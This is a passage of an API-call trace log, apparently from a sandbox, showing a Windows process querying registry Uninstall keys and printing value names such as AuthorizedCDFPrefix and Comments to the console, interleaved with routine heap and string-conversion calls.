_File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.871] __iob_func () returned 0x7fefd702a80 [0147.871] _fileno (_File=0x7fefd702ab0) returned 1 [0147.871] _errno () returned 0xc4bb0 [0147.871] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.871] _errno () returned 0xc4bb0 [0147.871] GetFileType (hFile=0x50) returned 0x1 [0147.871] lstrlenW (lpString="\n") returned 1 [0147.871] GetConsoleOutputCP () returned 0x1b5 [0147.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.872] GetConsoleOutputCP () returned 0x1b5 [0147.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.872] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.872] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.872] GetProcessHeap () returned 0x2e0000 [0147.872] GetProcessHeap () returned 0x2e0000 [0147.872] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0147.872] GetProcessHeap () returned 0x2e0000 [0147.872] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x60 [0147.872] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0147.872] __iob_func () returned 0x7fefd702a80 [0147.872] _fileno (_File=0x7fefd702ab0) returned 1 [0147.872] _errno () returned 0xc4bb0 [0147.872] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.872] _errno () returned 0xc4bb0 [0147.872] GetFileType (hFile=0x50) returned 0x1 [0147.872] lstrlenW (lpString="\n") returned 1 [0147.872] GetConsoleOutputCP () returned 0x1b5 [0147.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.872] GetConsoleOutputCP () returned 0x1b5 [0147.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.873] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.873] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.873] GetProcessHeap () returned 0x2e0000 [0147.873] GetProcessHeap () returned 0x2e0000 [0147.873] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0147.873] GetProcessHeap () returned 0x2e0000 [0147.873] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0147.873] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0147.873] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.873] GetProcessHeap () returned 0x2e0000 [0147.873] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0147.873] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-008C-0409-1000-0000000FF1CE}") returned 109 [0147.873] GetProcessHeap () returned 0x2e0000 [0147.873] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xde) returned 0x2ff9a0 [0147.873] GetProcessHeap () returned 0x2e0000 [0147.873] GetProcessHeap () returned 0x2e0000 [0147.873] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.873] GetProcessHeap () returned 0x2e0000 [0147.873] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0147.873] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.873] GetProcessHeap () returned 0x2e0000 [0147.873] GetProcessHeap () returned 0x2e0000 [0147.873] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0147.873] GetProcessHeap () returned 0x2e0000 [0147.873] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xde [0147.873] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0147.873] RegCloseKey (hKey=0x5c) returned 0x0 [0147.873] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x18, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{929FBD26-9020-399B-9A7A-751D61F0B942}", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.873] __iob_func () returned 0x7fefd702a80 [0147.873] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.873] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{929FBD26-9020-399B-9A7A-751D61F0B942}\n") returned 110 [0147.873] _fileno (_File=0x7fefd702ab0) returned 1 [0147.873] _errno () returned 0xc4bb0 [0147.873] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.874] _errno () returned 0xc4bb0 [0147.874] GetFileType (hFile=0x50) returned 0x1 [0147.874] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{929FBD26-9020-399B-9A7A-751D61F0B942}\n") returned 110 [0147.874] GetConsoleOutputCP () returned 0x1b5 [0147.874] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{929FBD26-9020-399B-9A7A-751D61F0B942}\n", cchWideChar=110, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 110 [0147.874] GetConsoleOutputCP () returned 0x1b5 [0147.874] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{929FBD26-9020-399B-9A7A-751D61F0B942}\n", cchWideChar=110, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{929FBD26-9020-399B-9A7A-751D61F0B942}\n", lpUsedDefaultChar=0x0) returned 110 [0147.874] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 110 [0147.874] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.874] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{929FBD26-9020-399B-9A7A-751D61F0B942}", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0147.874] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x19, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.874] GetProcessHeap () returned 0x2e0000 [0147.874] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0147.874] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.874] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.874] GetProcessHeap () returned 0x2e0000 [0147.874] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.874] GetProcessHeap () returned 0x2e0000 [0147.874] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.874] GetProcessHeap () returned 0x2e0000 [0147.874] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.874] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.874] __iob_func () returned 0x7fefd702a80 [0147.875] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.875] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.875] _fileno (_File=0x7fefd702ab0) returned 1 [0147.875] _errno () returned 0xc4bb0 [0147.875] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.875] _errno () returned 0xc4bb0 [0147.875] GetFileType (hFile=0x50) returned 0x1 [0147.875] lstrlenW (lpString=" ") returned 4 [0147.875] GetConsoleOutputCP () returned 0x1b5 [0147.875] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.875] GetConsoleOutputCP () returned 0x1b5 [0147.875] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.875] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.875] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.875] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.875] __iob_func () returned 0x7fefd702a80 [0147.875] _fileno (_File=0x7fefd702ab0) returned 1 [0147.875] _errno () returned 0xc4bb0 [0147.875] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.875] _errno () returned 0xc4bb0 [0147.875] GetFileType (hFile=0x50) returned 0x1 [0147.875] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.875] GetConsoleOutputCP () returned 0x1b5 [0147.876] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0147.876] GetConsoleOutputCP () returned 0x1b5 [0147.876] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0147.876] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0147.876] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.876] __iob_func () returned 0x7fefd702a80 [0147.876] _fileno (_File=0x7fefd702ab0) returned 1 [0147.876] _errno () returned 0xc4bb0 [0147.876] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.876] _errno () returned 0xc4bb0 [0147.876] GetFileType (hFile=0x50) returned 0x1 [0147.876] lstrlenW (lpString=" ") returned 4 [0147.876] GetConsoleOutputCP () returned 0x1b5 [0147.876] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.876] GetConsoleOutputCP () returned 0x1b5 [0147.876] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.876] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.876] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.876] __iob_func () returned 0x7fefd702a80 [0147.876] _fileno (_File=0x7fefd702ab0) returned 1 [0147.876] _errno () returned 0xc4bb0 [0147.876] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.876] _errno () returned 0xc4bb0 [0147.876] GetFileType (hFile=0x50) returned 0x1 [0147.877] lstrlenW (lpString="REG_SZ") returned 6 [0147.877] GetConsoleOutputCP () returned 0x1b5 [0147.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.877] GetConsoleOutputCP () returned 0x1b5 [0147.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.877] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.877] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.877] __iob_func () returned 0x7fefd702a80 [0147.877] _fileno (_File=0x7fefd702ab0) returned 1 [0147.877] _errno () returned 0xc4bb0 [0147.877] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.877] _errno () returned 0xc4bb0 [0147.877] GetFileType (hFile=0x50) returned 0x1 [0147.877] lstrlenW (lpString=" ") returned 4 [0147.877] GetConsoleOutputCP () returned 0x1b5 [0147.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.877] GetConsoleOutputCP () returned 0x1b5 [0147.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.877] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.877] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.878] __iob_func () returned 0x7fefd702a80 [0147.878] _fileno (_File=0x7fefd702ab0) returned 1 [0147.878] _errno () returned 0xc4bb0 [0147.878] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.878] _errno () returned 0xc4bb0 [0147.878] GetFileType (hFile=0x50) returned 0x1 [0147.878] lstrlenW (lpString="") returned 0 [0147.878] __iob_func () returned 0x7fefd702a80 [0147.878] _fileno (_File=0x7fefd702ab0) returned 1 [0147.878] _errno () returned 0xc4bb0 [0147.878] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.878] _errno () returned 0xc4bb0 [0147.878] GetFileType (hFile=0x50) returned 0x1 [0147.878] lstrlenW (lpString="\n") returned 1 [0147.878] GetConsoleOutputCP () returned 0x1b5 [0147.878] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.878] GetConsoleOutputCP () returned 0x1b5 [0147.878] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.878] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.878] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.878] GetProcessHeap () returned 0x2e0000 [0147.878] GetProcessHeap () returned 0x2e0000 [0147.878] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.878] GetProcessHeap () returned 0x2e0000 [0147.878] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.878] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.879] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.879] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x9c) returned 0x0 [0147.879] GetProcessHeap () returned 0x2e0000 [0147.879] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x9e) returned 0x301970 [0147.879] GetProcessHeap () returned 0x2e0000 [0147.879] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970) returned 1 [0147.879] GetProcessHeap () returned 0x2e0000 [0147.879] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x301970) returned 0x9e [0147.879] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x301970, pcbData=0x23f670*=0x9c | out: pdwType=0x23f5f0*=0x1, pvData="Caution. Removing this product might prevent some applications from running.", pcbData=0x23f670*=0x9a) returned 0x0 [0147.879] __iob_func () returned 0x7fefd702a80 [0147.879] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.879] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.879] _fileno (_File=0x7fefd702ab0) returned 1 [0147.879] _errno () returned 0xc4bb0 [0147.879] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.879] _errno () returned 0xc4bb0 [0147.879] GetFileType (hFile=0x50) returned 0x1 [0147.879] lstrlenW (lpString=" ") returned 4 [0147.879] GetConsoleOutputCP () returned 0x1b5 [0147.879] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.879] GetConsoleOutputCP () returned 0x1b5 [0147.879] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.879] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.879] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.880] lstrlenW (lpString="Comments") returned 8 [0147.880] __iob_func () returned 0x7fefd702a80 [0147.880] _fileno (_File=0x7fefd702ab0) returned 1 [0147.880] _errno () returned 0xc4bb0 [0147.880] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.880] _errno () returned 0xc4bb0 [0147.880] GetFileType (hFile=0x50) returned 0x1 [0147.880] lstrlenW (lpString="Comments") returned 8 [0147.880] GetConsoleOutputCP () returned 0x1b5 [0147.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.881] GetConsoleOutputCP () returned 0x1b5 [0147.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0147.881] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.881] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.881] __iob_func () returned 0x7fefd702a80 [0147.881] _fileno (_File=0x7fefd702ab0) returned 1 [0147.881] _errno () returned 0xc4bb0 [0147.881] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.881] _errno () returned 0xc4bb0 [0147.881] GetFileType (hFile=0x50) returned 0x1 [0147.881] lstrlenW (lpString=" ") returned 4 [0147.881] GetConsoleOutputCP () returned 0x1b5 [0147.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.881] GetConsoleOutputCP () returned 0x1b5 [0147.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.881] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.881] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.881] __iob_func () returned 0x7fefd702a80 [0147.881] _fileno (_File=0x7fefd702ab0) returned 1 [0147.881] _errno () returned 0xc4bb0 [0147.882] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.882] _errno () returned 0xc4bb0 [0147.882] GetFileType (hFile=0x50) returned 0x1 [0147.882] lstrlenW (lpString="REG_SZ") returned 6 [0147.882] GetConsoleOutputCP () returned 0x1b5 [0147.882] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.882] GetConsoleOutputCP () returned 0x1b5 [0147.882] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.882] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.882] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.882] __iob_func () returned 0x7fefd702a80 [0147.882] _fileno (_File=0x7fefd702ab0) returned 1 [0147.882] _errno () returned 0xc4bb0 [0147.882] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.882] _errno () returned 0xc4bb0 [0147.882] GetFileType (hFile=0x50) returned 0x1 [0147.882] lstrlenW (lpString=" ") returned 4 [0147.882] GetConsoleOutputCP () returned 0x1b5 [0147.882] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.882] GetConsoleOutputCP () returned 0x1b5 [0147.882] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.883] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.883] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.883] __iob_func () returned 0x7fefd702a80 [0147.883] _fileno (_File=0x7fefd702ab0) returned 1 [0147.883] _errno () returned 0xc4bb0 [0147.883] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.883] _errno () returned 0xc4bb0 [0147.883] GetFileType (hFile=0x50) returned 0x1 [0147.883] lstrlenW (lpString="Caution. Removing this product might prevent some applications from running.") returned 76 [0147.883] GetConsoleOutputCP () returned 0x1b5 [0147.883] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0147.883] GetConsoleOutputCP () returned 0x1b5 [0147.883] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Caution. Removing this product might prevent some applications from running.", lpUsedDefaultChar=0x0) returned 76 [0147.883] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0147.883] fflush (in: 